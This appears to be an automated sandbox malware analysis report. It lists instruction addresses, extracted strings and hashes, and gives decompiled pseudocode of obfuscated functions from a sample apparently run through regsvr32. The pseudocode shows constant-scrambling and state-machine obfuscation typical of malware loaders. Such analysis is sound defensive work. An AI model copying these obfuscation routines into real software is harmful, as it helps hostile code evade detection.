0x04236a74
0x04236a7c
0x04236a84
0x04236a8c
0x04236a99
0x04236a9d
0x04236aa2
0x04236aa7
0x04236aaf
0x04236abc
0x04236ac0
0x04236ac5
0x04236aca
0x04236ad2
0x04236ae6
0x04236aed
0x04236af8
0x04236b03
0x04236b0b
0x04236b13
0x04236b18
0x04236b20
0x04236b28
0x04236b30
0x04236b38
0x04236b42
0x04236b46
0x04236b4e
0x04236b56
0x04236b5b
0x04236b63
0x04236b68
0x04236b70
0x04236b78
0x04236b80
0x04236b88
0x04236b95
0x04236b99
0x04236b9e
0x04236ba6
0x04236bae
0x04236bb6
0x04236bbe
0x04236bcb
0x04236bd4
0x04236bd8
0x04236be0
0x04236bed
0x04236bf3
0x04236bfb
0x04236c03
0x04236c0b
0x04236c13
0x04236c1b
0x04236c2a
0x04236c2d
0x04236c31
0x04236c39
0x04236c41
0x04236c49
0x04236c4e
0x04236c56
0x04236c5e
0x04236c6b
0x04236c6f
0x04236c77
0x04236c7f
0x04236c8b
0x04236c90
0x04236c96
0x04236c9e
0x04236ca6
0x04236cae
0x04236cb6
0x04236cbe
0x04236cc9
0x04236cd1
0x04236cdc
0x04236ce7
0x04236cef
0x04236cf7
0x04236d03
0x04236d08
0x04236d0e
0x04236d16
0x04236d21
0x04236d30
0x04236d35
0x04236d3e
0x04236d49
0x04236d5c
0x04236d5d
0x04236d64
0x04236d6f
0x04236d82
0x04236d89
0x04236d94
0x04236d9f
0x04236daa
0x04236db5
0x04236dc0
0x04236dce
0x04236dd2
0x04236dda
0x04236de2
0x04236dea
0x04236df7
0x04236e02
0x04236e0a
0x04236e15
0x04236e29
0x04236e2e
0x04236e37
0x04236e42
0x04236e4d
0x04236e60
0x04236e63
0x04236e66
0x04236e6d
0x04236e78
0x04236e80
0x04236e88
0x04236e90
0x04236e98
0x04236ea0
0x04236eab
0x04236eb3
0x04236ebe
0x04236ec9
0x04236ed6
0x04236eda
0x04236ee2
0x04236eea
0x04236ef2
0x04236efd
0x04236f08
0x04236f13
0x04236f1e
0x04236f29
0x04236f34
0x04236f3f
0x04236f47
0x04236f52
0x04236f5d
0x04236f68
0x04236f70
0x04236f7b
0x04236f83
0x04236f8d
0x04236f99
0x04236f9d
0x04236fa5
0x04236fb0
0x04236fb8
0x04236fc3
0x04236fce
0x04236fe1
0x04236fe8
0x04236ff3
0x04237005
0x0423700a
0x0423701a
0x0423701d
0x04237024
0x04237031
0x04237039
0x04237041
0x0423704f
0x04237054
0x04237058
0x04237060
0x0423706b
0x04237076
0x04237081
0x0423708c
0x04237097
0x042370a2
0x042370b1
0x042370b2
0x042370b6
0x042370c3
0x042370c7
0x042370cf
0x042370d7
0x042370db
0x042370e0
0x042370e8
0x042370f0
0x042370fb
0x04237103
0x0423710e
0x04237119
0x04237124
0x0423712f
0x0423713a
0x04237145
0x04237150
0x0423715b
0x04237166
0x04237171
0x04237179
0x04237186
0x0423718a
0x0423718f
0x04237197
0x0423719f
0x042371a7
0x042371af
0x042371b7
0x042371bf
0x042371ca
0x042371d5
0x042371e0
0x042371eb
0x042371f3
0x042371fe
0x04237209
0x0423721c
0x04237223
0x0423722e
0x0423723c
0x04237240
0x04237245
0x0423724d
0x04237255
0x0423725d
0x04237262
0x0423726f
0x04237273
0x0423727b
0x04237285
0x04237291
0x04237292
0x04237296
0x0423729e
0x042372a6
0x042372b1
0x042372bc
0x042372c7
0x042372d2
0x042372da
0x042372e5
0x042372f0
0x042372f8
0x04237300
0x04237308
0x0423730d
0x04237315
0x04237329
0x04237330
0x0423733b
0x04237346
0x0423734e
0x0423735b
0x0423735f
0x04237367
0x0423736f
0x0423737a
0x04237382
0x0423738a
0x04237395
0x042373a0
0x042373ab
0x042373b6
0x042373be
0x042373c6
0x042373ce
0x042373d6
0x042373de
0x042373f1
0x042373f8
0x04237400
0x0423740b
0x0423741e
0x04237425
0x0423742d
0x04237438
0x04237443
0x0423744e
0x04237456
0x04237461
0x04237469
0x04237476
0x0423747a
0x04237482
0x0423748a
0x04237495
0x042374a0
0x042374ab
0x042374b3
0x042374b8
0x042374bd
0x042374c5
0x042374cd
0x042374d2
0x042374da
0x042374e5
0x042374f0
0x042374f8
0x04237503
0x0423750a
0x04237511
0x04237511
0x04237511
0x04237516
0x04237516
0x0423751a
0x0423751a
0x0423751a
0x04237520
0x00000000
0x00000000
0x04237526
0x042376ab
0x00000000
0x0423752c
0x04237532
0x04237699
0x0423769b
0x042376a2
0x042376a3
0x00000000
0x04237538
0x0423753e
0x04237651
0x0423765d
0x04237672
0x04237679
0x0423767e
0x04237683
0x04237915
0x04237915
0x0423791c
0x00000000
0x04237544
0x0423754a
0x0423761e
0x04237623
0x00000000
0x04237550
0x04237556
0x042375f0
0x042375f5
0x042375fa
0x042375fc
0x042375fc
0x00000000
0x0423755c
0x04237563
0x04237921
0x04237921
0x04237927
0x04237516
0x00000000
0x04237516
0x04237569
0x042375b6
0x042375bb
0x042375c2
0x042375c7
0x042375d0
0x042375d5
0x00000000
0x042375d5
0x04237563
0x04237556
0x0423754a
0x0423753e
0x04237532
0x04237945
0x04237951
0x04237951
0x042376b5
0x042376b7
0x04237772
0x04237775
0x042377a6
0x04237777
0x04237777
0x04237783
0x0423778a
0x04237795
0x0423779a
0x0423779d
0x0423779d
0x042377e6
0x042377ed
0x042377ed
0x042377ef
0x042377f1
0x042377f1
0x04237841
0x04237858
0x0423785d
0x04237860
0x04237862
0x04237910
0x00000000
0x04237868
0x0423788b
0x04237892
0x04237897
0x0423789a
0x0423789c
0x042378c6
0x042378d6
0x042378d6
0x042378d6
0x042378fe
0x04237903
0x04237903
0x04237906
0x00000000
0x04237906
0x042376bd
0x042376bd
0x042376c3
0x04237763
0x0423776a
0x00000000
0x042376c9
0x042376c9
0x042376cf
0x0423793e
0x042376d5
0x042376d5
0x042376db
0x042376f3
0x042376f5
0x042376f7
0x04237705
0x04237705
0x042376f9
0x04237700
0x04237700
0x04237707
0x0423772c
0x04237731
0x04237736
0x0423773e
0x00000000
0x042376dd
0x042376dd
0x042376e3
0x00000000
0x042376e9
0x042376e9
0x00000000
0x042376e9
0x042376e3
0x042376db
0x042376cf
0x042376c3
0x00000000
0x042376b7
0x04237516

Strings

OI, xrefs: 04237058
!, xrefs: 0423747A
LG, xrefs: 04236892
)fVX, xrefs: 042368B3
OHR, xrefs: 04237171
n3u, xrefs: 0423692C
^, xrefs: 0423706B
=o, xrefs: 04236F70
c', xrefs: 04236EF2
R<, xrefs: 04236DC0
&B, xrefs: 04236E80
H#, xrefs: 042373B6
2 ], xrefs: 042372F0

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: c'$!$&B$)fVX$2 ]$LG$OHR$OI$R<$n3u$=o$H#$^
API String ID: 0-4090907037
Opcode ID: ab68c6c3e5ea8206e01e51e44d9c9b805162c66fb48cf24c9e1d477be3f425cf
Instruction ID: aa3a5312a8bff912c324fac0ff25b73713dac48c2a330e8a511d720daa26fdab
Opcode Fuzzy Hash: ab68c6c3e5ea8206e01e51e44d9c9b805162c66fb48cf24c9e1d477be3f425cf
Instruction Fuzzy Hash: 0F920EB1509381CFE7B9CF25C58AA8BBBE1BBC4308F00891DE5D996260D7B59949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 0423A474, Relevance: 15.4, Strings: 12, Instructions: 357
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E0423A474(void* __ecx) {
				char _v520;
				char _v1040;
				char _v1560;
				char _v2080;
				char _v2600;
				signed int _v2604;
				signed int _v2608;
				signed int _v2612;
				signed int _v2616;
				signed int _v2620;
				signed int _v2624;
				signed int _v2628;
				signed int _v2632;
				signed int _v2636;
				signed int _v2640;
				signed int _v2644;
				signed int _v2648;
				signed int _v2652;
				signed int _v2656;
				signed int _v2660;
				signed int _v2664;
				signed int _v2668;
				signed int _v2672;
				signed int _v2676;
				signed int _v2680;
				signed int _v2684;
				signed int _v2688;
				signed int _v2692;
				signed int _v2696;
				signed int _v2700;
				signed int _v2704;
				signed int _v2708;
				signed int _v2712;
				signed int _v2716;
				signed int _v2720;
				signed int _v2724;
				signed int _v2728;
				signed int _v2732;
				signed int _v2736;
				signed int _v2740;
				signed int _v2744;
				signed int _v2748;
				signed int _v2752;
				signed int _v2756;
				signed int _v2760;
				signed int _v2764;
				signed int _v2768;
				signed int _v2772;
				signed int _v2776;
				signed int _v2780;
				signed int _v2784;
				signed int _v2788;
				signed int _v2792;
				signed int _t422;
				signed int _t444;
				signed int _t445;
				signed int _t446;
				signed int _t447;
				signed int _t448;
				signed int _t449;
				void* _t487;
				void* _t488;
				signed int* _t492;

				_t492 =  &_v2792;
				_t487 = __ecx;
				_v2736 = 0xa43fec;
				_v2736 = _v2736 + 0xffff66c9;
				_v2736 = _v2736 >> 0xc;
				_v2736 = _v2736 ^ 0x00000a13;
				_v2788 = 0xca245c;
				_v2788 = _v2788 + 0xc295;
				_v2788 = _v2788 << 6;
				_v2788 = _v2788 + 0xffff0e49;
				_v2788 = _v2788 ^ 0x32b58b6e;
				_v2660 = 0x35f9ef;
				_v2660 = _v2660 << 0xe;
				_v2660 = _v2660 ^ 0x7e7543bd;
				_v2688 = 0x437073;
				_v2688 = _v2688 >> 0xe;
				_v2688 = _v2688 ^ 0xf2a4f008;
				_v2688 = _v2688 ^ 0xf2aac2be;
				_v2700 = 0x2c6eea;
				_v2700 = _v2700 >> 1;
				_v2700 = _v2700 | 0x2b7eca56;
				_v2700 = _v2700 ^ 0x2b78a774;
				_v2676 = 0xafd7a5;
				_v2676 = _v2676 >> 0xb;
				_v2676 = _v2676 ^ 0x0002223f;
				_v2740 = 0x8278b2;
				_v2740 = _v2740 << 6;
				_v2740 = _v2740 << 1;
				_v2740 = _v2740 ^ 0x4136a23a;
				_v2612 = 0x7f4f91;
				_v2612 = _v2612 + 0xffff9116;
				_v2612 = _v2612 ^ 0x007102c2;
				_v2668 = 0x4461fd;
				_v2668 = _v2668 * 0x27;
				_v2668 = _v2668 ^ 0x0a629f7c;
				_t488 = 0x219adc7;
				_v2756 = 0xa77258;
				_v2756 = _v2756 >> 2;
				_v2756 = _v2756 + 0x9d81;
				_t444 = 0x54;
				_v2756 = _v2756 * 0x70;
				_v2756 = _v2756 ^ 0x12998c8c;
				_v2628 = 0x3fd810;
				_v2628 = _v2628 + 0xfffff92f;
				_v2628 = _v2628 ^ 0x003ee59a;
				_v2780 = 0x9fe7be;
				_v2780 = _v2780 + 0xaec4;
				_v2780 = _v2780 << 0x10;
				_v2780 = _v2780 >> 2;
				_v2780 = _v2780 ^ 0x25a64a78;
				_v2620 = 0xbf1dbc;
				_v2620 = _v2620 + 0xffff98cb;
				_v2620 = _v2620 ^ 0x00bd158d;
				_v2732 = 0xa8760d;
				_v2732 = _v2732 << 8;
				_v2732 = _v2732 + 0xa9d7;
				_v2732 = _v2732 ^ 0xa87dd804;
				_v2684 = 0xb5ab85;
				_v2684 = _v2684 / _t444;
				_v2684 = _v2684 ^ 0x0004fa7b;
				_v2708 = 0x9eabf6;
				_t445 = 0x4f;
				_v2708 = _v2708 / _t445;
				_v2708 = _v2708 ^ 0xed59372e;
				_v2708 = _v2708 ^ 0xed517486;
				_v2608 = 0x5ae525;
				_v2608 = _v2608 * 0x4c;
				_v2608 = _v2608 ^ 0x1afb43af;
				_v2644 = 0xaf8ee5;
				_v2644 = _v2644 ^ 0xf4d3cb8d;
				_v2644 = _v2644 ^ 0xf47b6f68;
				_v2604 = 0xc38975;
				_v2604 = _v2604 >> 0xf;
				_v2604 = _v2604 ^ 0x000b5702;
				_v2652 = 0x27ffed;
				_v2652 = _v2652 + 0x9a12;
				_v2652 = _v2652 ^ 0x002af41d;
				_v2616 = 0x7935fe;
				_v2616 = _v2616 + 0x1306;
				_v2616 = _v2616 ^ 0x007d2870;
				_v2692 = 0x7d1b3a;
				_t446 = 0x7d;
				_v2692 = _v2692 * 0x5a;
				_v2692 = _v2692 * 0x29;
				_v2692 = _v2692 ^ 0x0b423dcb;
				_v2724 = 0xbe8a04;
				_v2724 = _v2724 * 0x27;
				_v2724 = _v2724 | 0x44bf91fe;
				_v2724 = _v2724 ^ 0x5dbe7768;
				_v2636 = 0x66ae7e;
				_v2636 = _v2636 + 0xffff18a5;
				_v2636 = _v2636 ^ 0x006a6401;
				_v2744 = 0x24afb7;
				_v2744 = _v2744 + 0xf221;
				_v2744 = _v2744 >> 2;
				_v2744 = _v2744 ^ 0x00088a95;
				_v2716 = 0x4884b4;
				_v2716 = _v2716 | 0xbbb03a66;
				_v2716 = _v2716 ^ 0xe76b33e5;
				_v2716 = _v2716 ^ 0x5c9d38b7;
				_v2672 = 0xd2ae7f;
				_v2672 = _v2672 / _t446;
				_v2672 = _v2672 ^ 0x00034be9;
				_v2680 = 0x28809f;
				_v2680 = _v2680 << 8;
				_v2680 = _v2680 ^ 0x28858fb3;
				_v2720 = 0x2529a6;
				_t447 = 0x60;
				_v2720 = _v2720 / _t447;
				_t448 = 0x55;
				_v2720 = _v2720 / _t448;
				_v2720 = _v2720 ^ 0x00015f05;
				_v2728 = 0xe4ec68;
				_v2728 = _v2728 | 0x076980de;
				_v2728 = _v2728 >> 0x10;
				_v2728 = _v2728 ^ 0x00066f44;
				_v2764 = 0x25662b;
				_v2764 = _v2764 + 0x352e;
				_v2764 = _v2764 + 0xd238;
				_v2764 = _v2764 >> 9;
				_v2764 = _v2764 ^ 0x0003808d;
				_v2696 = 0xd79a4d;
				_v2696 = _v2696 >> 0xf;
				_v2696 = _v2696 | 0xe296257b;
				_v2696 = _v2696 ^ 0xe2941eeb;
				_v2704 = 0x8f07c6;
				_v2704 = _v2704 << 6;
				_v2704 = _v2704 << 0xb;
				_v2704 = _v2704 ^ 0x0f8cdb18;
				_v2772 = 0x165ad0;
				_v2772 = _v2772 * 0x45;
				_v2772 = _v2772 * 0xe;
				_v2772 = _v2772 | 0xc27a990b;
				_v2772 = _v2772 ^ 0xd67b0e5a;
				_v2712 = 0x3a0787;
				_v2712 = _v2712 << 9;
				_v2712 = _v2712 << 3;
				_v2712 = _v2712 ^ 0xa0756bb8;
				_v2768 = 0xd1f7d1;
				_v2768 = _v2768 ^ 0x28b4518a;
				_v2768 = _v2768 ^ 0x2c50bf5e;
				_v2768 = _v2768 << 1;
				_v2768 = _v2768 ^ 0x086bcac7;
				_v2664 = 0x43880;
				_v2664 = _v2664 << 2;
				_v2664 = _v2664 ^ 0x001745f4;
				_v2776 = 0x99bfba;
				_v2776 = _v2776 + 0xb20b;
				_v2776 = _v2776 ^ 0x9325107f;
				_v2776 = _v2776 ^ 0x1bb55bce;
				_v2776 = _v2776 ^ 0x880f35ab;
				_v2784 = 0xcf6f67;
				_v2784 = _v2784 | 0xe7eb8da5;
				_t449 = 0x69;
				_v2784 = _v2784 * 5;
				_v2784 = _v2784 >> 0xc;
				_v2784 = _v2784 ^ 0x000ae4cd;
				_v2792 = 0x938e6a;
				_v2792 = _v2792 * 0x34;
				_v2792 = _v2792 + 0xd82d;
				_v2792 = _v2792 + 0xffff3001;
				_v2792 = _v2792 ^ 0x1dfcfd52;
				_v2640 = 0x59feb;
				_v2640 = _v2640 + 0xffffbab8;
				_v2640 = _v2640 ^ 0x000de14c;
				_v2760 = 0x4f2f51;
				_v2760 = _v2760 << 3;
				_v2760 = _v2760 | 0xca7d0b31;
				_v2760 = _v2760 >> 5;
				_v2760 = _v2760 ^ 0x06504f0f;
				_v2648 = 0x12de1c;
				_v2648 = _v2648 << 2;
				_v2648 = _v2648 ^ 0x0044c65b;
				_v2656 = 0xedb7d1;
				_v2656 = _v2656 >> 0xe;
				_v2656 = _v2656 ^ 0x00060f5a;
				_v2624 = 0x25ed17;
				_v2624 = _v2624 << 8;
				_v2624 = _v2624 ^ 0x25e602f4;
				_v2632 = 0xdb105d;
				_v2632 = _v2632 + 0xbf07;
				_v2632 = _v2632 ^ 0x00d56ea2;
				_v2752 = 0xdb9922;
				_v2752 = _v2752 + 0xffff5c98;
				_t422 = _v2752 / _t449;
				_v2752 = _t422;
				_v2752 = _v2752 + 0xe0a7;
				_v2752 = _v2752 ^ 0x000f564b;
				_v2748 = 0x373105;
				_v2748 = _v2748 + 0xffff8875;
				_v2748 = _v2748 | 0xab9c3c2b;
				_v2748 = _v2748 ^ 0xabbdde7d;
				while(_t488 != 0x219adc7) {
					if(_t488 == 0x472b880) {
						E04221A34(_v2672,  &_v1040, _t449, _t449, _v2680, _v2720, _v2728, _t449, _v2736, _v2764);
						_push(_v2712);
						_push(_v2772);
						_push(_v2704);
						E04242D0A(_v2664, __eflags,  &_v2080, _v2776, _v2784, _v2792, 0x422192c,  &_v520,  &_v1040, E0423E1F8(0x422192c, _v2696, __eflags));
						E0423FECB(_t424, _v2640, _v2760, _v2648, _v2656);
						__eflags = 0;
						return E042385FF(_v2624, _v2632, 0, 0,  &_v520, 0, _v2752, 0, _v2748);
					}
					_t500 = _t488 - 0x6430241;
					if(_t488 != 0x6430241) {
						L7:
						__eflags = _t488 - 0xc99ad3;
						if(__eflags != 0) {
							continue;
						} else {
							return _t422;
						}
						L10:
						return _t422;
					}
					E04240DB1(_v2788,  &_v2600, _t500, _v2660, _t449, _v2688);
					 *((short*)(E042309DD(_v2700,  &_v2600, _v2676, _v2740))) = 0;
					E0422BAA9(_v2612, _v2668, _t500, _v2756, _v2628,  &_v1560);
					_push(_v2684);
					_push(_v2732);
					_push(_v2620);
					E04242D0A(_v2608, _t500,  &_v1560, _v2644, _v2604, _v2652, 0x422188c,  &_v2080,  &_v2600, E0423E1F8(0x422188c, _v2780, _t500));
					E0423FECB(_t436, _v2616, _v2692, _v2724, _v2636);
					_t449 = _v2744;
					_t422 = E0422BFBE( &_v2080, _t487, _v2716);
					_t492 =  &(_t492[0x18]);
					if(_t422 != 0) {
						_t488 = 0x472b880;
						continue;
					}
					goto L10;
				}
				_t488 = 0x6430241;
				goto L7;
			}

0x0423a474
0x0423a47e
0x0423a480
0x0423a48a
0x0423a492
0x0423a497
0x0423a49f
0x0423a4a7
0x0423a4af
0x0423a4b4
0x0423a4bc
0x0423a4c4
0x0423a4cf
0x0423a4d7
0x0423a4e2
0x0423a4ea
0x0423a4ef
0x0423a4f7
0x0423a4ff
0x0423a507
0x0423a50b
0x0423a513
0x0423a51b
0x0423a526
0x0423a52e
0x0423a539
0x0423a541
0x0423a546
0x0423a54a
0x0423a552
0x0423a55d
0x0423a568
0x0423a573
0x0423a586
0x0423a58d
0x0423a598
0x0423a59d
0x0423a5a5
0x0423a5aa
0x0423a5b9
0x0423a5bc
0x0423a5c0
0x0423a5c8
0x0423a5d3
0x0423a5de
0x0423a5e9
0x0423a5f1
0x0423a5f9
0x0423a5fe
0x0423a603
0x0423a60b
0x0423a616
0x0423a621
0x0423a62c
0x0423a634
0x0423a639
0x0423a641
0x0423a649
0x0423a65f
0x0423a666
0x0423a671
0x0423a67d
0x0423a680
0x0423a684
0x0423a68c
0x0423a694
0x0423a6a7
0x0423a6ae
0x0423a6bb
0x0423a6c6
0x0423a6d1
0x0423a6dc
0x0423a6e7
0x0423a6ef
0x0423a6fa
0x0423a705
0x0423a710
0x0423a71b
0x0423a726
0x0423a731
0x0423a73c
0x0423a74b
0x0423a74e
0x0423a757
0x0423a75b
0x0423a763
0x0423a770
0x0423a774
0x0423a77c
0x0423a784
0x0423a78f
0x0423a79a
0x0423a7a5
0x0423a7ad
0x0423a7b5
0x0423a7ba
0x0423a7c2
0x0423a7ca
0x0423a7d2
0x0423a7da
0x0423a7e2
0x0423a7f8
0x0423a7ff
0x0423a80a
0x0423a815
0x0423a81d
0x0423a828
0x0423a834
0x0423a839
0x0423a843
0x0423a846
0x0423a84a
0x0423a852
0x0423a85a
0x0423a862
0x0423a867
0x0423a86f
0x0423a877
0x0423a87f
0x0423a887
0x0423a88c
0x0423a894
0x0423a89c
0x0423a8a1
0x0423a8a9
0x0423a8b1
0x0423a8b9
0x0423a8be
0x0423a8c3
0x0423a8cb
0x0423a8d8
0x0423a8e1
0x0423a8e7
0x0423a8f4
0x0423a901
0x0423a909
0x0423a90e
0x0423a913
0x0423a91b
0x0423a923
0x0423a92b
0x0423a933
0x0423a937
0x0423a93f
0x0423a94a
0x0423a952
0x0423a95d
0x0423a965
0x0423a96d
0x0423a975
0x0423a97d
0x0423a985
0x0423a98d
0x0423a99c
0x0423a99d
0x0423a9a1
0x0423a9a6
0x0423a9ae
0x0423a9bb
0x0423a9bf
0x0423a9c7
0x0423a9cf
0x0423a9d7
0x0423a9e2
0x0423a9ed
0x0423a9f8
0x0423aa00
0x0423aa05
0x0423aa0d
0x0423aa12
0x0423aa1a
0x0423aa25
0x0423aa2d
0x0423aa38
0x0423aa43
0x0423aa4b
0x0423aa56
0x0423aa61
0x0423aa69
0x0423aa74
0x0423aa7f
0x0423aa8a
0x0423aa95
0x0423aa9d
0x0423aaa9
0x0423aaab
0x0423aaaf
0x0423aab7
0x0423aabf
0x0423aac7
0x0423aacf
0x0423aad7
0x0423aadf
0x0423aaed
0x0423ac4c
0x0423ac51
0x0423ac5d
0x0423ac61
0x0423acaa
0x0423acca
0x0423acd9
0x00000000
0x0423acfa
0x0423aaf3
0x0423aaf5
0x0423ac13
0x0423ac13
0x0423ac19
0x00000000
0x00000000
0x00000000
0x00000000
0x0423ad07
0x0423ad07
0x0423ad07
0x0423ab12
0x0423ab37
0x0423ab5b
0x0423ab60
0x0423ab6c
0x0423ab70
0x0423abc2
0x0423abe2
0x0423abee
0x0423abfa
0x0423abff
0x0423ac04
0x0423ac0a
0x00000000
0x0423ac0a
0x00000000
0x0423ac04
0x0423ac11
0x00000000

Strings

%Z, xrefs: 0423A694
Q/O, xrefs: 0423A9F8
p(}, xrefs: 0423A731
$P, xrefs: 0423A47C
L, xrefs: 0423A9ED
+f%, xrefs: 0423A86F
.5, xrefs: 0423A877
h, xrefs: 0423A852
3k, xrefs: 0423A7D2
spC, xrefs: 0423A4E2
.7Y, xrefs: 0423A684
n,, xrefs: 0423A4FF

Memory Dump Source

Source File: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, Offset: 04220000, based on PE: true

Associated: 00000006.00000002.288167692.0000000004220000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.288188944.0000000004246000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4220000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $P$%Z$+f%$.5$.7Y$L$Q/O$h$p(}$spC$3k$n,
API String ID: 0-500290626
Opcode ID: 11122c94a62e7c000b5b47d34d5c7e97b0f765d2fe2edb83d26783c4f075eaf1
Instruction ID: e5e97d02a9496b9ca874caef42255f2fcefb28e9b473b4478c88e49b8ebe0a48
Opcode Fuzzy Hash: 11122c94a62e7c000b5b47d34d5c7e97b0f765d2fe2edb83d26783c4f075eaf1
Instruction Fuzzy Hash: 7612F2B1509380DBE3A9CF60C989A8BBBF1FBC4348F108A1DE1D996260D7B59549CF47

Uniqueness

Uniqueness Score: -1.00%

Function 0423D1BC, Relevance: 15.3, Strings: 12, Instructions: 347
COMMONCrypto

Download Yara Rule

C-Code - Quality: 86%

			E0423D1BC(intOrPtr __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				char _v260;
				char _v268;
				intOrPtr _v272;
				char _v276;
				intOrPtr _v280;
				char _v284;
				intOrPtr _v288;
				signed int _v292;
				signed int _v296;
				signed int _v300;
				signed int _v304;
				signed int _v308;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				signed int _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				signed int _v364;
				signed int _v368;
				signed int _v372;
				signed int _v376;
				signed int _v380;
				signed int _v384;
				signed int _v388;
				signed int _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				signed int _v408;
				signed int _v412;
				signed int _v416;
				void* _t309;
				void* _t322;
				intOrPtr _t325;
				intOrPtr _t328;
				intOrPtr _t332;
				void* _t336;
				intOrPtr _t338;
				intOrPtr _t340;
				intOrPtr _t341;
				void* _t343;
				intOrPtr _t346;
				void* _t349;
				intOrPtr _t364;
				intOrPtr _t365;
				void* _t382;
				intOrPtr _t385;
				void* _t390;
				signed int _t391;
				signed int _t392;
				signed int _t393;
				intOrPtr _t394;
				void* _t395;
				void* _t396;
				void* _t397;
				void* _t399;

				_push(_a24);
				_t395 = __edx;
				_push(_a20);
				_v288 = __ecx;
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E0423FE29(__ecx);
				_v312 = 0xeda4ef;
				_t397 = _t396 + 0x20;
				_v312 = _v312 + 0x7c87;
				_v312 = _v312 ^ 0x00e6bc42;
				_t346 = 0;
				_v356 = 0x83a7cc;
				_t349 = 0x902256d;
				_v356 = _v356 << 0xd;
				_v356 = _v356 | 0xd496e6a5;
				_v356 = _v356 ^ 0xf4f8676c;
				_v388 = 0x254bab;
				_v388 = _v388 | 0x2708e00f;
				_v388 = _v388 << 0xc;
				_v388 = _v388 << 0xa;
				_v388 = _v388 ^ 0xebca5aa3;
				_v376 = 0x3a43eb;
				_v376 = _v376 + 0x5e30;
				_v376 = _v376 ^ 0x2d5dec97;
				_v376 = _v376 ^ 0x2d6492cf;
				_v324 = 0x965e68;
				_v324 = _v324 ^ 0x4fad172c;
				_v324 = _v324 ^ 0x4f30eea0;
				_v404 = 0x95ea8f;
				_t391 = 0x3c;
				_v404 = _v404 / _t391;
				_v404 = _v404 << 0xc;
				_v404 = _v404 | 0x93230375;
				_v404 = _v404 ^ 0xb7f3bbc9;
				_v296 = 0x950835;
				_v296 = _v296 + 0xffff217e;
				_v296 = _v296 ^ 0x0090010d;
				_v412 = 0x146e3b;
				_v412 = _v412 ^ 0xfee339d3;
				_v412 = _v412 | 0x08dab50c;
				_v412 = _v412 << 5;
				_v412 = _v412 ^ 0xdff21b2d;
				_v316 = 0x73cd3;
				_v316 = _v316 << 0xb;
				_v316 = _v316 ^ 0x39e53ce3;
				_v304 = 0x17d1c9;
				_v304 = _v304 | 0x32076b61;
				_v304 = _v304 ^ 0x32193df4;
				_v400 = 0xe22ffc;
				_v400 = _v400 * 0xf;
				_v400 = _v400 << 8;
				_v400 = _v400 >> 5;
				_v400 = _v400 ^ 0x020db90e;
				_v360 = 0x4e823d;
				_v360 = _v360 >> 7;
				_v360 = _v360 >> 0xc;
				_v360 = _v360 ^ 0x000f4c82;
				_v332 = 0x37cdc;
				_v332 = _v332 >> 0xe;
				_v332 = _v332 ^ 0x000cfe6d;
				_v392 = 0x36521e;
				_v392 = _v392 << 2;
				_v392 = _v392 ^ 0x01f25d84;
				_v392 = _v392 + 0xffff6602;
				_v392 = _v392 ^ 0x0122fac3;
				_v292 = 0x811559;
				_v292 = _v292 ^ 0x63e4ed2d;
				_v292 = _v292 ^ 0x636b0aa2;
				_v408 = 0xc9a98b;
				_v408 = _v408 ^ 0x273a7ab7;
				_t392 = 0x3d;
				_v408 = _v408 / _t392;
				_v408 = _v408 | 0xd16a0a28;
				_v408 = _v408 ^ 0xd1e35630;
				_v352 = 0x4de238;
				_v352 = _v352 ^ 0xe481f79a;
				_v352 = _v352 ^ 0xe4c0c54b;
				_v340 = 0x7e756a;
				_v340 = _v340 << 0xb;
				_v340 = _v340 ^ 0xf3ae0159;
				_v384 = 0x3029be;
				_v384 = _v384 + 0x835e;
				_v384 = _v384 ^ 0x9e5eea44;
				_v384 = _v384 ^ 0x9e65521f;
				_v364 = 0xcf8251;
				_v364 = _v364 + 0xffff400c;
				_t393 = 0x78;
				_v364 = _v364 * 0x5a;
				_v364 = _v364 ^ 0x48b0c21e;
				_v320 = 0x2b8f03;
				_v320 = _v320 << 7;
				_v320 = _v320 ^ 0x15cafa02;
				_v372 = 0xb0a86a;
				_v372 = _v372 ^ 0x35b8bfe6;
				_v372 = _v372 ^ 0xed8d6bf1;
				_v372 = _v372 ^ 0xd88344ec;
				_v344 = 0x8c38;
				_v344 = _v344 ^ 0x1ac013b0;
				_v344 = _v344 ^ 0x1ac5368a;
				_v348 = 0x2c1ac3;
				_v348 = _v348 >> 6;
				_v348 = _v348 ^ 0x0005c30d;
				_v300 = 0x3ae4ba;
				_v300 = _v300 >> 0xe;
				_v300 = _v300 ^ 0x00012364;
				_v396 = 0xe1901;
				_v396 = _v396 << 0xe;
				_v396 = _v396 + 0x39a8;
				_v396 = _v396 ^ 0x864e7189;
				_v368 = 0xe5c11e;
				_t394 = _v288;
				_v368 = _v368 / _t393;
				_v368 = _v368 | 0x7320cec6;
				_v368 = _v368 ^ 0x73273aba;
				_v336 = 0xf33546;
				_v336 = _v336 ^ 0x37961faf;
				_v336 = _v336 ^ 0x37663e0b;
				_v328 = 0x922129;
				_v328 = _v328 | 0xf90cd049;
				_v328 = _v328 ^ 0xf99851f2;
				_v416 = 0x9fd52c;
				_v416 = _v416 << 2;
				_v416 = _v416 * 0x22;
				_v416 = _v416 + 0xffff9e7e;
				_v416 = _v416 ^ 0x54e779e0;
				_v380 = 0x615361;
				_v380 = _v380 >> 1;
				_v380 = _v380 + 0x673e;
				_v380 = _v380 ^ 0x003e049c;
				_v308 = 0x9da5c1;
				_v308 = _v308 + 0xf72;
